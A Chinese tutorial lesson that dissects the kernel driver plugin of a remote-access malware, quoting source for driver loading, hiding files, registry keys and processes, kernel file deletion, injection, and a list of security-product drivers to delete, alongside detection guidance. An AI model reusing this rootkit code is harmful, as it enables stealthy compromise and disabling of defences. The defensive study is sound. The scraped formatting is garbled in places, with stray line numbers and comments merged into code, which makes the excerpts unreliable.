第 42 课:主插件:驱动插件
# 第 42 课:主插件:驱动插件
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课围绕 主插件\驱动插件 展开。这是整套源码里风险最高的模块之一,因为它把用户态控制命令延伸到了内核态:创建驱动服务、暴露设备对象、通过 IOCTL 控制文件/注册进程相关对象。对企业安全工程来说,这一课要学会识别驱动加载、设备访问、IOCTL 控制、内核过滤和高权限删除等信号,而不是学习如何使用这些能力。

# 1. 新手先理解:为什么驱动插件特别危险。
普通用户态插件最多影响当前进程或目标用户权限范围内的资源。驱动插件进入内核态后,边界完全不同:它可能拦截文件系统、注册表、进程对象,也可能绕过用户态可见性。企业防护中,驱动加载通常需要更高优先级响应,因为一旦内核态组件运行,单纯结束用户态进程往往不够。 本课只从防御角度解释:
| 问题 | 防御理解 |
|---|---|
| 为什么关注驱动签名 | 未签名、异常签名或路径异常的内核驱动风险极高 |
| 为什么关注服务名 | 驱动通常通过 SCM 服务加载,服务创建是重要事件 |
| 为什么关注设备对象 | 用户态程序会通过 \\.\xxx 访问驱动 |
| 为什么关注 IOCTL | IOCTL 是用户态向驱动下发控制命令的主要通道 |
# 2. 源码目录和文件
| 位置 | 作用 | 阅读重点 |
|---|---|---|
主插件\驱动插件\驱动插件\驱动插件.cpp | 插件入口 | 建立连接、创建 CKernelManager |
主插件\驱动插件\驱动插件\KernrlManager.h/.cpp | 用户态驱动管理器 | 命令分发、驱动写出、服务创建、状态控制 |
主插件\驱动插件\驱动插件\HiddenLib.* | 用户态驱动通信封装 | DeviceIoControl、隐藏对象控制 |
主插件\驱动插件\驱动插件\DeviceAPI.h | 用户内核态共享接口 | 设备名、IOCTL 码、数据结构 |
主插件\驱动插件\驱动插件\驱动功能\驱动功能\Driver.c | 内核驱动入口 | 初始化过滤、设备、网络配置逻辑 |
主插件\驱动插件\驱动插件\驱动功能\驱动功能\Device.c | 内核设备对象 | IRP_MJ_DEVICE_CONTROL 分发 |
依赖说明: 驱动插件主要依赖 Windows SCM、Windows Driver Model 和用户态 DeviceIoControl 通信。它不是普通 DLL 依赖问题,而是用户态程序通过服务控制管理器加载内核驱动,再通过设备对象和 IOCTL 进入内核分发函数。后续源码注释会把服务名、设备名、IOCTL、输入结构和高危内核动作放在代码处说明。
# 3. 驱动插件到底提供哪些能力

这节先把能力边界说清楚。驱动插件不是单个“加载驱动”按钮,而是一整套用户态到内核态的控制链:
| 能力 | 用户态入口 | 内核态入口 | 新手理解 |
|---|---|---|---|
| 初始化驱动 | CKernelManager::Initialize | DriverEntry / InitializeDevice | 写出 .sys,创建驱动服务,启动后创建设备对象 |
| 查询/切换状态 | GetState / SetState | HID_IOCTL_GET_DRIVER_STATE / HID_IOCTL_SET_DRIVER_STATE | 用户态通过 IOCTL 切换驱动内部状态 |
| 隐藏文件/目录 | runcommand(0/1) | HID_IOCTL_ADD_HIDDEN_OBJECT | 将文件系统对象加入内核隐藏规则 |
| 隐藏注册表 | runcommand(2/3) | 注册表过滤相关逻辑 | 将注册表键或值加入隐藏规则 |
| 保护进程/镜像 | runcommand(4/5) | 进程对象规则 | PID 或镜像路径附加保护状态 |
| 高权限删除 | runcommand(20) | HID_IOCTL_DELETE_FILE | 内核侧删除文件,风险极高,只做防御识别 |
| 内核辅助注入 | runcommand(21) | HID_IOCTL_INJECT_PID | 内核侧参与注入,企业环境应重点阻断 |
| 规则持久化 | writercommand | 服务注册表配置 | 把隐藏/保护规则写入 kernelquick 服务配置 |
后面读源码时按四层看:主控命令进入 CKernelManager,CKernelManager 调用 HiddenLib,HiddenLib 通过 DeviceIoControl IOCTL,内核驱动在 Device.c 里分发到具体能力。
# 4. 驱动加载时序

源码中的加载链可以拆成 6 步:插件收到初始化命令,写出驱动文件,调用服务控制管理器创建驱动服务,启动驱动,驱动创建设备对象,检测系统记录服务、驱动/设备相关事件。企业检测应覆盖整条链,而不是只等驱动已经运行。
// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp,约 35-165
// 防御分析注释:
// 1. lpBuffer[0] 是主控下发的内核插件命令字
// 2. COMMAND_KERNEL_INIT 会触发驱动写出、服务创建和驱动启动
// 3. RUNCOMMAND / DELCOMMAND / WRITERCOMMAND 会把文件、注册表、进程规则下发给 HiddenLib
// 4. DEL / INJECT 分支把输入转向 runcommand(20/21),对应内核删除和内核辅助注入,高危能力只做识别说明
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT)
return;
switch (lpBuffer[0])
{
case COMMAND_KERNEL_INIT:
// 防御分析:lpBuffer[1] 决定初始化前是否临时断网
// 不论哪种分支,核心风险都是后续 Initialize 加载内核驱动
if (lpBuffer[1] == 0) {
Initialize();
return;
} else {
SetInternetStatus(false);
Initialize();
SetInternetStatus(true);
}
break;
case COMMAND_KERNEL_GETSTATE:
// 防御分析:查询驱动当前状态,底层会访问设备对象
GetState();
break;
case COMMAND_KERNEL_SETSTATE_CONTINUE:
// 防御分析:启用驱动内部逻辑,应与 DeviceIoControl 状态切换事件关联
SetState(StateEnabled);
break;
case COMMAND_KERNEL_SETSTATE_STOP:
// 防御分析:停用驱动内部逻辑,不等于卸载驱动文件或删除服务
SetState(StateDisabled);
break;
case COMMAND_KERNEL_RUNCOMMAND:
{
RUNCOMMAND* p_runcommand = (RUNCOMMAND*)lpBuffer;
// 防御分析:argc 在这里不是 C 语言 main 参数,而是功能编号
// 例如 0/1 对应文件或目录,2/3 对应注册表,4/5 对应进程或镜像
runcommand(p_runcommand->argc, p_runcommand->Command);
}
break;
case COMMAND_KERNEL_DELCOMMAND:
{
RUNCOMMAND* p_runcommand = (RUNCOMMAND*)lpBuffer;
delcommand(p_runcommand->argc, p_runcommand->Command);
}
break;
case COMMAND_KERNEL_WRITERCOMMAND:
{
RUNCOMMAND* p_runcommand = (RUNCOMMAND*)lpBuffer;
// 防御分析:writercommand 会把规则写入服务注册表配置,
// 这意味着部分规则可能在重启后继续生效
writercommand(p_runcommand->argc, p_runcommand->Command);
}
break;
case COMMAND_KERNEL_BACKDOOR:
// 防御分析:源码注释说明这里接收登录模块代码数据
// 代码会读 HKLM\SOFTWARE 下的配置,再把数据写回注册表
// 这类跨模块传输高危数据的设计应在企业环境中禁止
break;
case COMMAND_KERNEL_DEL:
// 防御分析:转向 runcommand(20),对应内核侧删除文件能力
runcommand(20, (WCHAR*)(lpBuffer + 1));
break;
case COMMAND_KERNEL_INJECT:
// 防御分析:转向 runcommand(21),对应内核辅助注入能力
runcommand(21, (WCHAR*)(lpBuffer + 1));
break;
case COMMAND_KERNEL_SETSTATE_PROCESS:
{
// 防御分析:把当前进程路径加入隐藏/保护规则,属于自保护意图信号
TCHAR szPath[MAX_PATH * 2];
GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath));
runcommand(0, szPath);
writercommand(0, szPath);
}
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
这段代码的防御含义很直接:网络侧的一个命令可以驱动内核组件初始化。检测时应把“控制连接中的内核初始化命令”和“本机服务创建和驱动加载”串起来。
# 5. 用户态如何加载驱动。
下面这段代码是风险识别重点。它使用服务控制管理器创建 SERVICE_KERNEL_DRIVER 类型服务,服务名为 kernelquick。这类服务创建在 Windows 日志、EDR、Sysmon 中通常都有可观测点。
// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp,约176-219 WriteFile(hFile, Hidden64MyFileBuf, Hidden64MyFileSize, &dwBytesWrite, NULL);
CloseHandle(hFile);
SC_HANDLE hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
::MoveFile(_T("23423.txt"), _T("kernelquick.sys"));
SC_HANDLE hService = CreateService(
hSCMgr,
TEXT("kernelquick"),
TEXT("kernelquick"),
SERVICE_ALL_ACCESS,
SERVICE_KERNEL_DRIVER,
SERVICE_DEMAND_START,
SERVICE_ERROR_IGNORE,
szPath,
NULL,
NULL,
NULL,
NULL,
NULL);
if (StartService(hService, 0, NULL)) {
SendReturnInfo(INITUNSUC, _T("驱动运行成功"));
}
// 防御分析:关kernelquick.sys 写出、kernelquick 服务创建// SERVICE_KERNEL_DRIVER 类型、StartService 调用和驱动签名状态?
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
企业侧建议优先记录:
| 事件 | 关键字段 |
|---|---|
| 驱动文件创建 | 路径、哈希、签名、父进程 |
| 服务创建 | 服务名、服务类型、启动类型、ImagePath |
| 驱动加载 | 驱动名、签名状态、加载时 |
| 网络关联 | 加载前后是否有控制连 |
# 6. IOCTL 控制。

驱动加载以后,用户态并不是直接调用内核函数,而是通过设备对象和 IOCTL。DeviceAPI.h 把设备名和控制码暴露出来,这对检测很重要。

// 源码位置:主插件\驱动插件\驱动插件\DeviceAPI.h,约6-29 #define DEVICE_NAME L"\\Device\\HiddenGate"
#define DOS_DEVICES_LINK_NAME L"\\DosDevices\\HiddenGate"
#define DEVICE_WIN32_NAME L"\\\\.\\HiddenGate"
#define HID_IOCTL_SET_DRIVER_STATE CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 0), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_GET_DRIVER_STATE CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 1), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_ADD_HIDDEN_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 60), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_REMOVE_HIDDEN_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 61), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_DELETE_FILE CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 80), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
#define HID_IOCTL_INJECT_PID CTL_CODE(FILE_DEVICE_UNKNOWN, (0x800 + 81), METHOD_BUFFERED, FILE_SPECIAL_ACCESS)
// 防御分析:设备名 HiddenGate 和高危 IOCTL 码可作为静态规则
// 运行期设备访问检测和内核通信检测的线索。
2
3
4
5
6
7
8
9
10
11
12
13
14
HiddenLib.cpp 是用户态封装层。CKernelManager::runcommand 不直接调用 DeviceIoControl,而是调用 Hid_AddHiddenFile、Hid_Del、Hid_Inject 这类包装函数;这些包装函数最终都把请求转成指定 IOCTL。
// 源码位置:主插件\驱动插件\驱动插件\HiddenLib.cpp,约82-91、137-345、440-865
// 防御分析注释:
// 1. Hid_Initialize 打开 \\.\HiddenGate,拿到设备句柄后才能继续发送 IOCTL
// 2. Hid_AddHiddenFile / Hid_Del / Hid_Inject 等函数把用户态参数包装成内核输入缓冲区
// 3. DeviceIoControl 是用户态进入驱动控制面的关键 API,检测时要关联设备名、IOCTL 和调用进程
HidStatus Hid_Initialize(PHidContext pcontext, const wchar_t* deviceName)
{
status = Hid_InitializeWithNoConnection();
((PHidContextInternal)pcontext)->hdevice = CreateFile(
deviceName,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
return status;
}
HidStatus Hid_AddHiddenFile(PHidContext context, const wchar_t* filePath, PHidObjId objId)
{
// 防御分析:高层函数名已经暴露对象类型,底层统一HID_IOCTL_ADD_HIDDEN_OBJECT if (!DeviceIoControl(context->hdevice,
HID_IOCTL_ADD_HIDDEN_OBJECT,
hide,
(DWORD)size,
&result,
sizeof(result),
&returned,
NULL))
return HID_STATUS_UNSUCCESSFUL;
}
HidStatus Hid_Del(PHidContext context, const wchar_t* filePath, PHidObjId objId)
{
// 防御分析:内核侧删除文件能力只做风险识别,不展开操作步骤 DeviceIoControl(((PHidContextInternal)context)->hdevice,
HID_IOCTL_DELETE_FILE,
(VOID*)filePath,
(DWORD)len,
&result,
sizeof(result),
&returned,
NULL);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
这些控制码对应的风险面如下:

| 控制。 | 风险 | 检测建 |
|---|---|---|
| 驱动状态 | 启停内核逻辑 | 记录状态切换来源 |
| 隐藏对象 | 文件/目录/注册表隐 | 对比用户态枚举和离线扫描结果 |
| 进程对象 | 隐藏或保护进 | 结合内核回调、ETW、EDR 视图 |
| 删除文件 | 高权限删除 | 关注安全软件路径和系统目录 |
| 注入 PID | 内核辅助注入 | 最高优先级处理 |
# 6.1 runcommand:功能编号如何变成驱动规。
runcommand 里的 argc 不是命令行参数数量,而是功能编号。这个设计对新手很容易误导:同一?Command 字符串,在不?argc 下含义完全不同,可能是文件路径、目录路径、注册表路径、进PID 或镜像路径。
// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp:409-488
// 防御分析注释// 1. GetContext 会打开 \\.\HiddenGate,拿到驱动通信上下文// 2. argc 决定调用哪个 HiddenLib 封装函数// 3. 0/1/2/3 是隐藏对象,4/5 是进程或镜像保护0/21 是删除和注入,高危分支只做识别说明// 4. 企业侧应记录 Command 的对象类型和来源,不要只记录一条“DeviceIoControl 调用”void CKernelManager::runcommand(int argc, TCHAR* Command)
{
if (!m_context)
GetContext();
std::wstring m_path = Command;
switch (argc)
{
case 0:
status = Hid_AddHiddenFile(GetContext(), m_path.c_str(), &objId);
break;
case 1:
status = Hid_AddHiddenDir(GetContext(), m_path.c_str(), &objId);
break;
case 2:
m_regRootType = GetTypeAndNormalizeRegPath(m_path);
status = Hid_AddHiddenRegKey(GetContext(), m_regRootType, m_path.c_str(), &objId);
break;
case 3:
m_regRootType = GetTypeAndNormalizeRegPath(m_path);
status = Hid_AddHiddenRegValue(GetContext(), m_regRootType, m_path.c_str(), &objId);
break;
case 4:
status = Hid_AttachProtectedState(GetContext(), _wtol(m_path.c_str()), InheritAlways);
break;
case 5:
status = Hid_AddProtectedImage(GetContext(), m_path.c_str(), InheritAlways, true, &objId);
break;
case 20:
status = Hid_Del(GetContext(), Command, &objId);
break;
case 21:
status = Hid_Inject(GetContext(), Command, &objId);
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
writercommand 负责把部分规则写到服务注册表配置里。它不是立即执行内核动作,而是把“下次也要生效”的规则保存下来,所以要和服务项、驱动启动值一起看。
// 源码位置:主插件\驱动插件\驱动插件\KernrlManager.cpp:559-640
// 防御分析注释// 1. 不同 argc 对应不同 REG_MULTI_SZ 值名// 2. Hid_NormalizeFilePath / Hid_NormalizeRegistryPath 会把输入规范化后再写入配置// 3. KernelQuick_HideFsFiles、KernelQuick_HideRegKeys、KernelQuick_ProtectedImages 等值名
// 是持久化规则和静态检测的重要线索void CKernelManager::writercommand(int argc, TCHAR* Command)
{
const wchar_t* valueName;
std::wstring m_path = Command;
std::wstring normilized;
switch (argc)
{
case 0:
valueName = L"KernelQuick_HideFsFiles";
status = Hid_NormalizeFilePath(m_path.c_str(), buffer, bufferSize);
break;
case 1:
valueName = L"KernelQuick_HideFsDirs";
status = Hid_NormalizeFilePath(m_path.c_str(), buffer, bufferSize);
break;
case 2:
valueName = L"KernelQuick_HideRegKeys";
status = Hid_NormalizeRegistryPath(rootType, m_path.c_str(), buffer, bufferSize);
break;
case 5:
valueName = L"KernelQuick_ProtectedImages";
status = Hid_NormalizeFilePath(m_path.c_str(), buffer, bufferSize);
break;
}
GetMultiStrValue(valueName, commands);
commands.push_back(normilized);
SetMultiStrValue(valueName, commands);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# 7. 内核态分发入。
驱动中的 IrpDeviceControlHandler IOCTL 的核心分发点。这里不需要学习每个功能怎么用,而要看懂它把用户态输入映射到了哪些内核动作。
// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Device.c,约353-445 NTSTATUS IrpDeviceControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
ULONG ioctl = irpStack->Parameters.DeviceIoControl.IoControlCode;
inputBuffer = outputBuffer = Irp->AssociatedIrp.SystemBuffer;
switch (ioctl)
{
case HID_IOCTL_SET_DRIVER_STATE:
result.status = SetDriverStateObject((PHid_DriverStatus)inputBuffer, (USHORT)inputBufferSize);
break;
case HID_IOCTL_ADD_HIDDEN_OBJECT:
result.status = AddHiddenObject((PHid_HideObjectPacket)inputBuffer, (USHORT)inputBufferSize, &result.info.id);
break;
case HID_IOCTL_DELETE_FILE:
// 防御分析:高权限删除能力只做识别说明,不展开使用细节 result.status = ForceDeleteFile(ustrFileName);
break;
case HID_IOCTL_INJECT_PID:
// 防御分析:内核辅助注入属于高风险能力,企业环境应重点阻断 result.status = Inject(*pid);
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 8. 设备对象是用户态入。
// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Device.c,约483-510 NTSTATUS InitializeDevice(PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(DEVICE_NAME);
UNICODE_STRING dosDeviceName = RTL_CONSTANT_STRING(DOS_DEVICES_LINK_NAME);
status = IoCreateDevice(
DriverObject,
0,
&deviceName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&deviceObject);
status = IoCreateSymbolicLink(&dosDeviceName, &deviceName);
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IrpDeviceControlHandler;
// 防御分析:设备对象和符号链接建立后,用户态即可通过
// \\.\HiddenGate 访问驱动控制面}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
对检测系统来说,\\.\HiddenGate 这类设备名非常有价值。即使驱动文件名变化,设备名IOCTL 控制面也可能留下稳定特征。
# 9. 内核侧持久化和高危字符串
Driver.c 中包含两个值得单独关注的点:一是驱动修改自身服务启动值,二是源码中出现大量安全产品驱动路径。后者不在教程中完整列出,防御侧只需要知道它是强烈的恶意意图线索。
// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Driver.c,约24-35 CONST PWCHAR g_DelFiles[] = {
L"C:\\Windows\\System32\\drivers\\DsArk64.sys",
L"C:\\Windows\\System32\\drivers\\360AntiSteal64.sys",
// ... 源码中还包含多个安全产品相关驱动路径,教程不展开列举};
// 防御分析:硬编码安全产品驱动路径是非常强的静态风险特征?
2
3
4
5
6
7
// 源码位置:主插件\驱动插件\驱动插件\驱动功能\驱动功能\Driver.c,约86-110 void Setvalue()
{
RtlInitUnicodeString(
&RegistryPath,
L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\services\\kernelquick");
status = ZwOpenKey(&hRegister, KEY_ALL_ACCESS, &objectAttributes);
RtlInitUnicodeString(&name, L"Start");
unsigned long dwStart = SERVICE_SYSTEM_START;
status = ZwSetValueKey(hRegister, &name, 0, REG_DWORD, &dwStart, sizeof(unsigned long));
// 防御分析:驱动在内核态修改自身服务启动方式,
// 应作为持久化和高权限配置变更信号处理}
2
3
4
5
6
7
8
9
10
11
12
13
14
# 10. 企业检测点

| 层面 | 检测点 | 建议 |
|---|---|---|
| 文件 | kernelquick.sys 或新写出的 .sys | 记录哈希、签名、路径、父进程 |
| 服务 | SERVICE_KERNEL_DRIVER 服务创建 | 关注服务名、ImagePath、启动类 |
| 设备 | \\.\HiddenGate 访问 | 记录访问进程和调用时 |
| IOCTL | 隐藏对象、删除文件、注PID | 将控制码映射到风险类 |
| 内核 | 文件/注册进程过滤行为 | EDR 内核遥测或专用驱动监 |
| 日志 | Sysmon 驱动加载、Windows Code Integrity、服务创建日 | 建议统一SIEM 做关 |
| 静 | 安全产品驱动路径、HiddenGate、kernelquick | YARA/静态扫描可覆盖 |
# 11. 合法练习:
只阅读源码,画出
COMMAND_KERNEL_INIT -> Initialize -> CreateService -> StartService的防御链路图?写一条检测思路:新建
SERVICE_KERNEL_DRIVER服务 1 分钟内出现\\.\HiddenGate访问?解释为什么
DeviceIoControl本身不一定恶意,但结合未知驱动、异常 IOCTL、隐藏对象后风险会升高?在实验文档中列出 5 个驱动加载需要检查的字段:路径、签名、哈希、服务名、父进程。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言